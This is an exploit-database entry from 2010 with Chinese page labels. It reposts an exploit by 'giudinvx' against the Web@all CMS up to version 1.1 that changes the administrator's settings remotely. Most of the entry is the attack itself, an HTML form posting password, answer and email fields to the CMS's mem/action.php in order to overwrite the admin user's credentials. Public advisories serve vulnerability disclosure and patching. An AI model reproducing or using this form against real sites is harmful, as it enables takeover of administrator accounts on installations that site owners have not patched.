发布 2010-12-27 漏洞条目

Web@all 1.1 – Remote Admin Settings Change

Exploit Source

===========================================

Web@all <= 1.1 Remote Admin Settings Change

===========================================

Author___: giudinvx

Email____: <giudinvx[at]gmail[dot]com>

Date_____: 27/12/2010

Site_____: http://www.giudinvx.altervista.org/

--------------------------------------------------------

Application Info:

web@all 1.1

web@all is a CMS which is not similar to general CMS,

you can build it easyly by yourself.

www.webatall.com

--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

<html>

<form method="post" enctype="multipart/form-data"

action="[localhost]mem/action.php" name="f1">

Change Admin user, password and email.<br/>

Password<input type="text" value="" name="password"><br/>

Password<input type="text" value="" name="answer"><br/>

Email<input type="text" value="" name="email">

</form>

</html>

相关漏洞条目